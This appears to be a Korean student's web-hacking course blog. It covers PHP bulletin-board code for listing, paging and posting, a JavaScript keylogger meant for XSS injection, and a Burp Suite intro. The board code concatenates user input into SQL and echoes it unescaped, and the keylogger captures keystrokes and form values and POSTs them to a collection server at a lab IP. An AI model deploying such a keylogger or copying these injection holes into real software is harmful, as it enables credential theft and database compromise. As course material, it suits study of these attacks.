디렉토리 구조

 

 


목록 불러오기

검색타입, 검색키워드, 페이지를 입력받아 쿼리 요청

list.php

<?php
			// 입력받은 페이지
            $page = isset($_GET["page"])? $_GET["page"] : 1;
            // 입력받은 검색타입
            $searchType = isset($_GET["searchType"])? $_GET["searchType"] : '';
            //입력받은 검색키워드
            $searchValue = isset($_GET["searchValue"])? $_GET["searchValue"] : '';
            // 한 페이지당 보여줄 개수
            $itemPerPage = 10;
            
			// limit 0, 10은 0개를 패스하고 10개까지 보여준다.
            // 페이지가 2라면 10 개를 패스하고 10개를 보여줘야하기에 limit 10, 10이 되어야한다.
            $boardList = getBoardList(($page-1) * $itemPerPage, $itemPerPage, $searchType, $searchValue);

            while ($board =  mysqli_fetch_array($boardList)) 
            {
              $idx = $board['idx'];
              $title = $board['title'];
              $content = $board['content'];
              $regUser = $board['regUser'];
              $regTime = $board['regTime'];

              // var_dump($content);
              echo "<tr>";
              echo "<th class='idx' scope='row'>{$idx}</td>";
              echo "<td class='title' >{$title}</td>";
              echo "<td class='content'>{$content}</td>";
              echo "<td class='reg_user'>{$regUser}</td>";
              echo "<td class='reg_time'>{$regTime}</td>";
              echo "</tr>";
            }
            
          ?>

 

board_function.php

sql문 작성 시 검색 키워드가 존재한다면 sql문에 추가하고 
정렬은 '등록일시'와 'idx'를 역순으로 정렬한다.

function getBoardList($currentPage, $itemPerPage, $searchType, $searchValue)  {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];

  $sql = "SELECT IDX AS idx
  , TITLE as title
  , CONTENT as content
  , FIRST_REG_USER as regUser
  , FIRST_REG_TIME as regTime
   FROM tbl_board ";
  //echo "searchValue is {$searchValue}";
  // 키워드 검색이 들어오면 like검색 추가
  // TITLE => {$searchType} 할 수도 있지만 sqlInjection의 위험이 있다.
  
  if(!$searchValue=='' && $searchType == 'title') {
    $sql = $sql. "WHERE TITLE like'%{$searchValue}%' ";
  }
  // idx가 AutoIncrese이기에 등록순서, 아니라면 등록시간 순으로 해야하지만
  // FIRST_REG_TIME를 index를 안걸긴 했는데....
  $order = "ORDER BY FIRST_REG_TIME DESC, IDX DESC limit {$currentPage},{$itemPerPage}";

  $sql = $sql.$order;

  //echo $sql;
  return mysqli_query($db_conn, $sql);
}

 

 


페이지네이션

list.php

페이지네이션은 표기될 시작페이지번호, 현제 페이지번호, 표기될 마지막 페이지 번호로 구성 할 수 있다.

이를 구하기위해 총 페이지의 수를 가져오며 총 페이지 수를 가져올 때 목록과 동일하게 검색조건을(검색타입, 키워드) 추가한다.

 

또한 검색타입, 검색키워드를 가져와 사용하기 위해 onclick함수에 movePage(3) 과 같이 이동할 페이지의 값을 전달한다.

<?php
          	// 전체 페이지의 개수 =  올림(총 글의 개수 / 페이지 당 개수 )
            $totalPage = ceil((getTotalCount($searchType, $searchValue)) / 10);
            // 페이지네이션의 시작 페이지
            // 현재 페이지를 기준으로 왼쪽으로 4개 표기한다
            // 현재 페이지가 5보다 작다면 1이 시작페이지
            $startPage = $page - 4 <= 0 ? 1 : $page - 4;
            // 페이지네이션의 마지막 페이지
            // 현재 페이지를 기준으로 오른쪽으로 5개 표기한다
            // 현재 페이지 + 5가 totalPage보다 크다면 종료페이지는 totalPage
            $endPage = $page + 5 >= $totalPage ? $totalPage :  $page + 5;
            
            ini_set('display_errors', 1);
            
            for($i=$startPage; $i<= $endPage; $i=$i+1 )
            {
              // echo "<a href='/board/list.php?page={$i}'>  {$i}  </a>";
              
              // 현재 페이지와 같은 페이지 일때 색상 하이라이팅
              if ($page == $i) {
                echo "<li class='pagenation_min_width page-item active' aria-current='page'>";
                echo "<a class='page-link' href='/board/list.php?page={$i}'>{$i}</a>";
                echo "</li>";
              } else {
              
              	// 클릭하면 movePage(페이지번호) 함수 실행
                echo "<li class='pagenation_min_width page-item'><a class='page-link' onclick='movePage({$i})' >{$i}</a></li>";
              }
            }
            ?>

 

function movePage()

태그의 Id로 값을 찾아와 url을 구성한다.

function movePage(page) {
  	// 쿼리셀렉터로 검색타입과 검색키워드를 가져와서 url 생성
    // 문제 될 수 있는 Case
    // 검색 후 하단의 검색키워드를 제거하고 페이지를 클릭하면... 빈 키워드가 넘어가지만 페이지는 그대로...
    // 가장 좋은 방법은 페이지 클릭과 검색 클릭 시 함수를 분리하는 것... 하지만... 귀찮아...
    searchType = document.querySelector("#searchType").value
    searchValue = document.querySelector("#searchValue").value
    
    location.href="/board/list.php?page=" + page + "&searchType=" + searchType + "&searchValue=" +  searchValue

 

board_function.php

// 게시판의 총 글 수를 가져오는 코드
function getTotalCount($searchType, $searchValue) {
  $db_conn = getDbConn();
  $sql = "select count(IDX) as count FROM tbl_board ";

  // 키워드 검색이 들어온다면 총 글의 개수가 변경 될 수 있으므로 동일한 키워드 검색추가
  if(!$searchValue=='' && $searchType == 'title') {
    $sql = $sql. "WHERE TITLE like'%{$searchValue}%' ";
  }

  $result=mysqli_query($db_conn, $sql);
  $row = mysqli_fetch_array($result);
  return $row['count']; 
}

 

 


전체 코드

list.php

<?php
ini_set('display_errors', 1);
require_once '/app/lib/login_check.php';
require_once '../common/header.php';
require_once "/app/board/board_function.php";
?>
<div style="width: 100%; height:100%">

  <div style="width: 80%; height:20%; margin: 50px">
    <h1> 글 목록 </h1>
  </div>

  <div style="width: 80%; height:80%; margin: 50px"> 
    <div>
      <table style="display: block; width: 100" class="table">
        <thead>
          <tr>
            <th class="header_color" scope="col">#</th>
            <th class="header_color" scope="col">제목</th>
            <th class="header_color" scope="col">내용</th>
            <th class="header_color" scope="col">작성자</th>
            <th class="header_color" scope="col">작성일시</th>
          </tr>
        </thead>
        <tbody>
          <?php
			// 입력받은 페이지
            $page = isset($_GET["page"])? $_GET["page"] : 1;
            // 입력받은 검색타입
            $searchType = isset($_GET["searchType"])? $_GET["searchType"] : '';
            //입력받은 검색키워드
            $searchValue = isset($_GET["searchValue"])? $_GET["searchValue"] : '';
            // 한 페이지당 보여줄 개수
            $itemPerPage = 10;
            
			// limit 0, 10은 0개를 패스하고 10개까지 보여준다.
            // 페이지가 2라면 10 개를 패스하고 10개를 보여줘야하기에 limit 10, 10이 되어야한다.
            $boardList = getBoardList(($page-1) * $itemPerPage, $itemPerPage, $searchType, $searchValue);

            while ($board =  mysqli_fetch_array($boardList)) 
            {
              $idx = $board['idx'];
              $title = $board['title'];
              $content = $board['content'];
              $regUser = $board['regUser'];
              $regTime = $board['regTime'];

              // var_dump($content);
              echo "<tr>";
              echo "<th class='idx' scope='row'>{$idx}</td>";
              echo "<td class='title' >{$title}</td>";
              echo "<td class='content'>{$content}</td>";
              echo "<td class='reg_user'>{$regUser}</td>";
              echo "<td class='reg_time'>{$regTime}</td>";
              echo "</tr>";
            }
            
          ?>

        </tbody>
      </table>
    </div>

    
     
    

    <div style="display: block; width: 100%; text-align: center;">
      <nav aria-label="..." style="text-align: center;">
        <ul class="pagination" style="display: inline-flex;">
          <?php
          	// 전체 페이지의 개수 =  올림(총 글의 개수 / 페이지 당 개수 )
            $totalPage = ceil((getTotalCount($searchType, $searchValue)) / 10);
            // 페이지네이션의 시작 페이지
            // 현재 페이지를 기준으로 왼쪽으로 4개 표기한다
            // 현재 페이지가 5보다 작다면 1이 시작페이지
            $startPage = $page - 4 <= 0 ? 1 : $page - 4;
            // 페이지네이션의 마지막 페이지
            // 현재 페이지를 기준으로 오른쪽으로 5개 표기한다
            // 현재 페이지 + 5가 totalPage보다 크다면 종료페이지는 totalPage
            $endPage = $page + 5 >= $totalPage ? $totalPage :  $page + 5;
            
            ini_set('display_errors', 1);
            
            for($i=$startPage; $i<= $endPage; $i=$i+1 )
            {
              // echo "<a href='/board/list.php?page={$i}'>  {$i}  </a>";
              
              // 현재 페이지와 같은 페이지 일때 색상 하이라이팅
              if ($page == $i) {
                echo "<li class='pagenation_min_width page-item active' aria-current='page'>";
                echo "<a class='page-link' href='/board/list.php?page={$i}'>{$i}</a>";
                echo "</li>";
              } else {
              
              	// 클릭하면 movePage(페이지번호) 함수 실행
                echo "<li class='pagenation_min_width page-item'><a class='page-link' onclick='movePage({$i})' >{$i}</a></li>";
              }
            }
            ?>
        </ul>
        <button style="margin-left: 20px" type="button" class="btn btn-primary" onclick="moveToWrite()">글쓰기</button>
      </nav>
    </div>

    <div style="text-align: center;">
      <select id="searchType">
        <option value="title">제목</option>
      </select>
      <input id="searchValue" type="text" placholder="" 
      value="<?php
              if ($searchValue) {
                echo $searchValue;
              }
      ?>"/>
      <button style="margin-left: 20px" type="button" class="btn btn-primary" onclick="movePage(1)">검색</button>
    </div>

  </div>



</div>

<script>
  function moveToWrite() {
    location.href="/board/write.php"
  }
  function movePage(page) {
  	// 쿼리셀렉터로 검색타입과 검색키워드를 가져와서 url 생성
    // 문제 될 수 있는 Case
    // 검색 후 하단의 검색키워드를 제거하고 페이지를 클릭하면... 빈 키워드가 넘어가지만 페이지는 그대로...
    // 가장 좋은 방법은 페이지 클릭과 검색 클릭 시 함수를 분리하는 것... 하지만... 귀찮아...
    searchType = document.querySelector("#searchType").value
    searchValue = document.querySelector("#searchValue").value
    
    location.href="/board/list.php?page=" + page + "&searchType=" + searchType + "&searchValue=" +  searchValue
  }
</script>
  <style>
    .idx {
      width:5%
    }
    .title{
      width:25%;
      text-overflow : ellipsis ;
    }
    .content{
      width:30%;
      text-overflow : ellipsis ;
    }
    .reg_user{
      width:20%;
      text-overflow : ellipsis;
    }
    .reg_time{
      width:25%;
      text-overflow : ellipsis ;
    }
    .header_color {
      background: lightgray !important;
    }
    .pagenation_min_width {
      min-width: 40px;
    }
  </style>



<?php
// require_once '../common/footer.php';
?>

 

 


board_function.php

<?php
require '/app/lib/db_connection.php';

function getDbConn() {
  if (!isset($db_conn)) {
    $db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    $db_conn -> set_charset('utf8');
  }
  return $db_conn;
}

function insert_tbl_board($title, $content)  {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];
  // 아  구문에 특수문자 제거해야하는데~~~~
  $sql = "insert into tbl_board 
  (IDX, TITLE, CONTENT, FIRST_REG_USER, FIRST_REG_TIME, LAST_UPD_USER, LAST_UPD_TIME
  ) value 
  (null, '{$title}', '{$content}'
  , (SELECT USER_ID FROM user WHERE REFRESH_TOKEN ='{$token}'), NOW()
  , (SELECT USER_ID FROM user WHERE REFRESH_TOKEN ='{$token}'), NOW() )";

  // echo $sql;
  return mysqli_query($db_conn, $sql);
}


function getBoardList($currentPage, $itemPerPage, $searchType, $searchValue)  {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];

  $sql = "SELECT IDX AS idx
  , TITLE as title
  , CONTENT as content
  , FIRST_REG_USER as regUser
  , FIRST_REG_TIME as regTime
   FROM tbl_board ";
  //echo "searchValue is {$searchValue}";
  // 키워드 검색이 들어오면 like검색 추가
  // TITLE => {$searchType} 할 수도 있지만 sqlInjection의 위험이 있다.
  
  if(!$searchValue=='' && $searchType == 'title') {
    $sql = $sql. "WHERE TITLE like'%{$searchValue}%' ";
  }
  // idx가 AutoIncrese이기에 등록순서, 아니라면 등록시간 순으로 해야하지만
  // FIRST_REG_TIME를 index를 안걸긴 했는데....
  $order = "ORDER BY FIRST_REG_TIME DESC, IDX DESC limit {$currentPage},{$itemPerPage}";

  $sql = $sql.$order;

  //echo $sql;
  return mysqli_query($db_conn, $sql);
}
// 게시판의 총 글 수를 가져오는 코드
function getTotalCount($searchType, $searchValue) {
  $db_conn = getDbConn();
  $sql = "select count(IDX) as count FROM tbl_board ";

  // 키워드 검색이 들어온다면 총 글의 개수가 변경 될 수 있으므로 동일한 키워드 검색추가
  if(!$searchValue=='' && $searchType == 'title') {
    $sql = $sql. "WHERE TITLE like'%{$searchValue}%' ";
  }

  $result=mysqli_query($db_conn, $sql);
  $row = mysqli_fetch_array($result);
  return $row['count']; 
}

?>

 

 

 


 

결과

 

 

'웹 해킹 코스 > 과제' 카테고리의 다른 글

CTF Athentication Bypass(Get Admin)  (1) 2023.12.01
6주차 1.SQL Injection2  (2) 2023.12.01
4-2 게시판 구현하기(게시판 등록)  (0) 2023.11.19
4-1 javascript를 사용한 키로거  (0) 2023.11.16
3-2 JWT 토큰이란?  (3) 2023.11.12

디렉토리 구조

디렉토리 구조

 


wirte.php

 

<?php
ini_set('display_errors', 1);
require_once '../common/header.php';
require_once '/app/lib/login_check.php';
?>

// 등록 로직
<?php
  $isetTitle = isset($_POST['title']) && strlen($_POST['title']) > 0;
  $issetContent = isset($_POST['content']) && strlen($_POST['content']) > 0;
  $isSubmit = isset($_POST['submit']) && strlen($_POST['submit']) > 0;

  require_once "/app/board/board_function.php";
  if ($isetTitle && $issetContent && $isSubmit) {

    // 저장하기
    $title = $_POST['title'];
    $content = $_POST['content'];
    $result = insert_tbl_board($title, $content);
    
    if($result) {
      echo "<script>alert('작성 완료.');
               location.href='/board/list.php'
              </script>";
              exit;
    }

  }

?>

<div style="width: 100%; height:100%">

  <div style="width: 80%; height:20%; margin: 50px">
    <h1> 글쓰기 </h1>
  </div>

  <!-- 글쓰기 섹션 -->
  <div style="width: 80%; height:80%; margin: 50px"> 
    <form method="POST">
      <div style="height: 20%;"> 
        <div class="form-floating mb-3">
          <input type="text" name="title" class="form-control" id="floatingInput" placeholder="name@example.com"
          value="<?php
              if ($isSubmit) {
                echo $_POST['title'];
              }
            ?>"/>
          <label for="floatingInput">제목</label>
        </div>
      </div>
  
  
        <div >
          <div class="form-floating">
          <textarea name="content" style="height: 500px;" class="form-control" placeholder="Leave a comment here" id="floatingTextarea"
            ><?php
              if ($isSubmit) {
                echo $_POST['content'];
              }
            ?></textarea>
          <label for="floatingTextarea">내용</label>
        </div>
        <input hidden/ value="submit" name="submit">
        <div style="margin-top: 20px;">

          <button>작성</button>
          <span>
            <?php
              if($isSubmit)
              echo "제목, 내용을 확인해주세요";
            ?>
          </span>
        </div>

    </form>

  </div>
</div>

  



<?php
// require_once '../common/footer.php';
?>

 

 

board_function.php

<?php
require '/app/lib/db_connection.php';

function getDbConn() {
  if (!isset($db_conn)) {
    $db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    $db_conn -> set_charset('utf8');
  }
  return $db_conn;
}

function insert_tbl_board($title, $content)  {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];

  $sql = "insert into tbl_board 
  (IDX, TITLE, CONTENT, FIRST_REG_USER, FIRST_REG_TIME, LAST_UPD_USER, LAST_UPD_TIME
  ) value 
  (null, '{$title}', '{$content}'
  , (SELECT USER_ID FROM user WHERE REFRESH_TOKEN ='{$token}'), NOW()
  , (SELECT USER_ID FROM user WHERE REFRESH_TOKEN ='{$token}'), NOW() )";

  return mysqli_query($db_conn, $sql);
}

?>

 

쿠키에 id를 저장하고 있지만 변조가 쉽기 때문에 Refresh_token으로 USER_ID를 조회하여 insert한다.

 

 

 

 

 

 

 

날짜가 05시로 나오는데 DB 날짜를 수정해야할 것 같다.

 

'웹 해킹 코스 > 과제' 카테고리의 다른 글

6주차 1.SQL Injection2  (2) 2023.12.01
4-3 게시판 구현하기(게시판 목록)  (1) 2023.11.19
4-1 javascript를 사용한 키로거  (0) 2023.11.16
3-2 JWT 토큰이란?  (3) 2023.11.12
3-1(로그인 케이스)  (0) 2023.11.09

키로깅

키로깅(Keylogging, 키 스트로크 로깅(Keystroke logging)으로도 불림)은 사용자가 키보드로 PC에 입력하는 내용을 몰래 가로채어 기록하는 행위를 말한다. 하드웨어, 소프트웨어를 활용한 방법에서부터 전자적, 음향기술을 활용한 기법까지 다양한 키로깅 방법이 존재한다.

-위키백과-

 

즉 특정 사용자가 입력한 데이터를 저장하고 기록하는 기법을 말한다.

 


크로스 사이트 스크립(XSS)

 

사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS) 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 이름이 CSS가 아닌 이유는 웹 기술 CSS와 헷갈릴 수 있어서다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.

 

사이트 간 스크립팅 - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS[*])은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이

ko.wikipedia.org

 

즉 XSS + 키로거를 활용하게 되면 다른 사이트에 악성코드(키로거)를 심고 입력받은 데이터를 다른 서버로 전송 할 수 있게 된다.

 


keylogger.html

크로스 사이트 악성코드가 들어갈 html 파일이라고 생각하면된다.(공격대상)

<html>
  <head>		<script src="./keylogger.js"></script>	</head>
  <input name="wowText" type="text" />
  <button name="test" onclick="origninBtnClick()">12312123</button>

  <script>
      function origninBtnClick(){
        console.log('origin Click')
      }
  </script>
</html>

 

keylogger.js

let keyData = '';

function setData (btnYn) {
  const inputList = []
  let inputs = document.querySelectorAll('input')
  inputs.forEach(input => {
    const inputData = {
      "inputName": input.name,
      "inputId": input.id,
      "inputData": input.value,
    }
    inputList.push(inputData)
  })
  const body = {
    "inputList": inputList,
    "keyData" : keyData,
    "btnYn": btnYn
  }
  return body;
}


function sendData () {
  // 전송할 데이터는 setData에서 받아온다.
  const data =setData()
  
  // 데이터를 전송할 것이기 때문에 keyData는 초기화 하고 처음부터 받는다.
  keyData = ''  
	
    // 서버로 데이터 전송
  fetch("http://192.168.102.129:5000/keyLoggerReceive.php", {
    method: "POST",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded", 
    },
    body: JSON.stringify(data)
  })
  .then((response) => response.json())
  .then((result) => console.log(result));
}

function keylogging(e) {
	
  // 입력받은 키가 Tab 혹은 Enter라면 데이터를 서버로 전송
  if(e.code === 'Tab' || e.code === 'Enter') {
    sendData()
  } else {
  // Tab Enter가 아니라면 keyData에 입력받은 키를 이어붙인다.
    keyData += e.key
  }

}

// 모든 키보드가 눌리게 되면 keylogging  함수를 실행한다.
window.onkeydown = (e) => keylogging(e)

window.onload = (() => {
  // 브라우저의 로드가 끝나면 모든 버튼에 이벤트를 심는다.
  let btns = document.querySelectorAll('button')

  btns.forEach(element => {
    // 기존 버튼에 있던 function을 copy해둔다.
    origin = element.onclick.bind({})

    element.onclick = function () {
      // button 태그가 클릭되면 sendData()를 실행하고
      sendData()
      // 기존의 function을 실행한다.(keylogger.html의 originBtnClick)
      origin()


  });
})

 

 

 

input창에 데이터를 입력후 F2를 3회 눌렀다.

 

{"inputList":[{"inputName":"wowText","inputId":"","inputData":"patrache25"}],"keyData":"patrache25F2F2F2F2"}:

 

전송된 데이터에 태그의 이름인 wowText와 내부 값인 inputData에 patrache25가 기입 된것을 볼 수 있으며

단순 데이터 값 뿐마아닌 F2버튼을 누른 키입력 또한 keyData에 확인 할 수 있다.

 

또한 버튼에 기존의 function을 카피하여 넣었기 때문에 버튼의 기본 function도 동작하는 것을 볼 수 있다.


<?php
header("Access-Control-Allow-Origin: *");
require_once './lib/db_connection.php'
$json_data = file_get_contents("php://input");

$data = json_decode($json_data, true);
$keyData = $data['keyData'];

$sql = "insert into keylogger (idx, INPUT_LIST, KEY_DATA) value ( null, '{$json_data}', '{$keyData}')";

?>

 


결과

 

적용할 사이트가 명확해지면 Tag를 분석하여 필요한 데이터만 받을 수 있도록 개선 될 수 있을 것 이다.

Burp Suitte(버프 슈트)

Burp Suite는 웹 애플리케이션의 침투 테스트에 사용되는 소프트웨어 보안 애플리케이션입니다.

-위키백과-

 

버프 슈트는 proxy의 형태로 웹 요청과 응답을 모니터링 및 변조할 수 있으며 그 외에도 다양한 유틸리티 기능이 있는 소프트웨어이다.

 

프록시 서버(영어: proxy server, 문화어: 대리봉사기)는 클라이언트가 자신을 통해서 다른 네트워크 서비스에 간접적으로 접속할 수 있게 해 주는 컴퓨터 시스템이나 응용 프로그램을 가리킨다. 서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.

-위키백과 - 

 

 

 

 

즉 내 pc에서 요청을 proxy로 전달하고 proxy는 다시 원래의 목적지로 전달한다.

이러한 과정에서 요청과 응답을 변조 및 모니터링을 할 수 있는 구조다.

 

 


버프 슈트 사용법

 

상단의 Open browser 클릭 후 intercept is off를 클릭하여 -> on으로 변경한다.

이후 특정 url(스크린샷에서는 https://portswigger.net로 연결함) httpRequest를 볼 수 있다.

 

현재의 상태는 request를 요청하기 전  proxy에서 일시 정지 상태로 상단의 Forward를 눌러 요청을 본래의 요청지로 전달 할 수 있으며 하단의 Raw의 내용을 수정하여 전달 할 수 있다.

 

 

http history 탭에서 오고간 데이터를 확인할 수 있다.

 

상단의 Decoder탭으로가면 Web에서 자주 사용되는 인코딩 처리를 복호화 할 수 있다.

Base63, Url인코딩등 다양한 인코딩 디코딩을 테스트 할 수 있으며 위와같이 단계적 인코딩 디코딩도 가능하다.

 

그 외에도 두 요청, 응답을 비교하는 compare 특정 요청을 변경하여 반복적으로 보낼 수 있는 repeat탭도 존재한다.

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

6주차 union을 사용한 SQL Injection  (0) 2023.11.30
5주차 SQL Ijection  (2) 2023.11.26
3주차 (쿠키, 세션)  (0) 2023.11.08
2주차 (DB)  (0) 2023.11.01
0주차 (리눅스 기초 명령어)  (2) 2023.10.26

+ Recent posts